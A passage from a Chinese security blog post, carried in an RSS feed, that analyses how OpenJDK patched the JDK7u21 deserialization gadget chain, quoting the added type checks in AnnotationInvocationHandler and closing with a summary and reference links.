style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">611bcd930ed1</code><span md-inline="plain" style="box-sizing: border-box;">）：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java" target="_blank">http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java</a></span></span></p><p cid="n407" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">查看其 children 版本（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">0ca6cbe3f350</code><span md-inline="plain" style="box-sizing: border-box;">）：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java" target="_blank">http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java</a></span></span></p><p cid="n408" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">compare一下：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4352517985611511" data-s="300,640" style="" data-type="png" data-w="2780" src="https://wechat2rss.xlab.app/img-proxy/?k=7d24ef6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559Dfz1qicicZ3xzNtIp9c6pdHGkJZjeUVJ8rm7NIj8DibibSjqxDQ0zgicUic4w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 改之前</span></span></code><code><span class="code-snippet_outer">        AnnotationType annotationType = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            annotationType = AnnotationType.getInstance(<span class="code-snippet__keyword">type</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span>(IllegalArgumentException e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Class is no longer an annotation type; all bets are off</span></span></code><code><span class="code-snippet_outer">           <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 改之后</span></span></code><code><span class="code-snippet_outer">        AnnotationType annotationType = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            annotationType = AnnotationType.getInstance(<span class="code-snippet__keyword">type</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span>(IllegalArgumentException e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// Class is no longer an annotation type; time to punch out</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> java.io.InvalidObjectException(<span class="code-snippet__string">&#34;Non-annotation type in annotation serial stream&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code></pre></section><p cid="n411" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">可以发现，在第一次的修复中，官方采用的方法是网上的第二种讨论，即将以前的 return 改成了抛出异常。</span></p><p cid="n412" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">继续查看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">0ca6cbe3f350</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">children</code><span md-inline="plain" style="box-sizing: border-box;">版本（</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">654a386b6c32</code><span md-inline="plain" style="box-sizing: border-box;">）：</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/654a386b6c32/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java" target="_blank">http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/654a386b6c32/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java</a></span></span></span></span></p><p cid="n413" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">可以发现在 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">AnnotationInvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">构造方法的一开始的位置，就对于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">this.type</code><span md-inline="plain" style="box-sizing: border-box;">进行了校验。</span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 改之前：</span></span></code><code><span class="code-snippet_outer">AnnotationInvocationHandler(Class&lt;? <span class="code-snippet__keyword">extends</span> Annotation&gt; <span class="code-snippet__keyword">type</span>, Map&lt;<span class="code-snippet__built_in">String</span>, <span class="code-snippet__built_in">Object</span>&gt; memberValues) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.type = <span class="code-snippet__keyword">type</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.memberValues = memberValues;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 改之后：</span></span></code><code><span class="code-snippet_outer">AnnotationInvocationHandler(Class&lt;? <span class="code-snippet__keyword">extends</span> Annotation&gt; <span class="code-snippet__keyword">type</span>, Map&lt;<span class="code-snippet__built_in">String</span>, <span class="code-snippet__built_in">Object</span>&gt; memberValues) {</span></code><code><span class="code-snippet_outer">        Class&lt;?&gt;[] superInterfaces = <span class="code-snippet__keyword">type</span>.getInterfaces();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!<span class="code-snippet__keyword">type</span>.isAnnotation() ||</span></code><code><span class="code-snippet_outer">            superInterfaces.length != <span class="code-snippet__number">1</span> ||</span></code><code><span class="code-snippet_outer">            superInterfaces[<span class="code-snippet__number">0</span>] != java.lang.annotation.Annotation.class)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> AnnotationFormatError(<span class="code-snippet__string">&#34;Attempt to create proxy for a non-annotation type.&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.type = <span class="code-snippet__keyword">type</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.memberValues = memberValues;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.27970479704797047" data-s="300,640" style="" data-type="png" data-w="2710" src="https://wechat2rss.xlab.app/img-proxy/?k=f9609d98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559D35miaaibOQKet3iakkp70Hdxfb1BkEaanjEeKbXnLud8bK1lgRExLLIuQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n416" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">此外，除了在构造方法处的验证，在其获取成员方法时，也做了验证：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.16220238095238096" data-s="300,640" style="" data-type="png" data-w="2688" src="https://wechat2rss.xlab.app/img-proxy/?k=b55eb9e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DJX37aavLrCiczuPfnviaH0YViarpQAtUmlh1jB6aEjBeRMWqgxYD48WrA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><br/></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;background-color: rgb(255, 255, 255);">验证内容如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> void validateAnnotationMethods(Method[] memberMethods) {</span></code><code><span class="code-snippet_outer">        boolean valid = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span>(Method method : memberMethods) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) ||</span></code><code><span class="code-snippet_outer">                method.getParameterTypes().length != <span class="code-snippet__number">0</span> ||</span></code><code><span class="code-snippet_outer">                method.getExceptionTypes().length != <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                valid = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">Class&lt;?&gt; returnType = method.getReturnType();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (returnType.isArray()) {</span></code><code><span class="code-snippet_outer">                returnType = returnType.getComponentType();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (returnType.isArray()) { <span class="code-snippet__comment">// Only single dimensional arrays</span></span></code><code><span class="code-snippet_outer">                    valid = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!((returnType.isPrimitive() &amp;&amp; returnType != void.<span class="code-snippet__keyword">class</span>) ||</span></code><code><span class="code-snippet_outer">                  returnType == java.lang.String.<span class="code-snippet__keyword">class</span> ||</span></code><code><span class="code-snippet_outer">                  returnType == java.lang.Class.<span class="code-snippet__keyword">class</span> ||</span></code><code><span class="code-snippet_outer">                  returnType.isEnum() ||</span></code><code><span class="code-snippet_outer">                  returnType.isAnnotation())) {</span></code><code><span class="code-snippet_outer">                valid = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            String methodName = method.getName();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ((methodName.equals(<span class="code-snippet__string">&#34;toString&#34;</span>) &amp;&amp; returnType == java.lang.String.<span class="code-snippet__keyword">class</span>) ||</span></code><code><span class="code-snippet_outer">                (methodName.equals(<span class="code-snippet__string">&#34;hashCode&#34;</span>) &amp;&amp; returnType == int.<span class="code-snippet__keyword">class</span>) ||</span></code><code><span class="code-snippet_outer">                (methodName.equals(<span class="code-snippet__string">&#34;annotationType&#34;</span>) &amp;&amp; returnType == java.lang.Class.<span class="code-snippet__keyword">class</span>)) {</span></code><code><span class="code-snippet_outer">                valid = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (valid)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> new AnnotationFormatError(<span class="code-snippet__string">&#34;Malformed method on an annotation type&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p cid="n420" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">validateAnnotationMethods</code><span md-inline="plain" style="box-sizing: border-box;">验证方法对注解类型中声明的方法进行了限制，禁止了包含静态方法和声明的方法，要求注释类型必须采用零个参数并且对返回类型也做了限制。</span></p><p cid="n421" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">所以，个人总结，网上讨论的两种修复方式其实都没有问题，只是因为不同的jdk版本导致了修复方式不完全一样，也导致</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">payload</code><span md-inline="plain" style="box-sizing: border-box;">会在不同的地方被拦截，从而出现不一样的错误。</span></span></p><p cid="n422" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">如下图时在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">jdk1.8.151</code><span md-inline="plain" style="box-sizing: border-box;">中出现的错误。</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5910470409711684" data-s="300,640" style="" data-type="png" data-w="2636" src="https://wechat2rss.xlab.app/img-proxy/?k=0a74146b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559D4PNiblvVy82RBuq00TOckzYRQ8YrQAsyl2gSVGYGxvR1TIriauVPjmHA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><br/></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">下图时在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">jdk7u25</code><span md-inline="plain" style="box-sizing: border-box;">中出现的错误。</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.507396449704142" data-s="300,640" style="" data-type="png" data-w="2704" src="https://wechat2rss.xlab.app/img-proxy/?k=81ed61df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DYoznbiaK11dg2icNoM3PbXDP7Y4hyDEzK0HrXDKrMtQiaL3ANSicoA6ONw%2F640%3Fwx_fmt%3Dpng"/></p><h2 cid="n426" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x07 总结</span></h2><p cid="n427" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">整个jdk7u21反序列化gadget链的构建非常经典，链中融合了大量的基础知识以及小技巧，个人认为是对于理解并学习反序列化漏洞的必学知识点，此文是本人学习记录，如存在问题欢迎各位师傅斧正。</span></p><h2 cid="n428" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x08 参考</span></h2><p cid="n429" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://lalajun.github.io/2019/11/30/JDK%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%207u21/" target="_blank">https://lalajun.github.io/2019/11/30/JDK%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%207u21/</a></span></p><p cid="n430" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://p0rz9.github.io/2019/06/08/Ysoserial%E4%B9%8BJDK7u21%E5%88%86%E6%9E%90/" target="_blank">https://p0rz9.github.io/2019/06/08/Ysoserial%E4%B9%8BJDK7u21%E5%88%86%E6%9E%90/</a></span></p><p cid="n431" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://gist.github.com/frohoff/24af7913611f8406eaf3#deserialization-call-tree-approximate" target="_blank">https://gist.github.com/frohoff/24af7913611f8406eaf3#deserialization-call-tree-approximate</a></span></p><p cid="n432" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/" target="_blank">https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/</a></span></p><p cid="n433" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&amp;mid=2247484342&amp;idx=1&amp;sn=a252b60e691a66eff8764664ba9970f5&amp;scene=21#wechat_redirect" style="box-sizing: border-box;cursor: pointer;color: blue;padding-right: 2px;padding-left: 2px;-webkit-user-drag: none;border-bottom: 1px solid blue;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/Ekjbxv5glIXvpsw2Gh98vQ" target="_blank">https://mp.weixin.qq.com/s/Ekjbxv5glIXvpsw2Gh98vQ</a></a></span></p><p cid="n434" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://xz.aliyun.com/t/6884#toc-12" target="_blank">https://xz.aliyun.com/t/6884#toc-12</a></span></p><p cid="n435" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://paper.seebug.org/792/" target="_blank">https://paper.seebug.org/792/</a></span></p><p cid="n436" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">本文首发在先知</span></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><br/></p><p><br/></p>



<p><a href="https://www.cnpanda.net/sec/876.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=99806855&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483853%26idx%3D1%26sn%3D309536a2483c8c42ac49cf980e84a8aa%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 11 Jun 2021 21:53:00 +0800</pubDate>
    </item>
    <item>
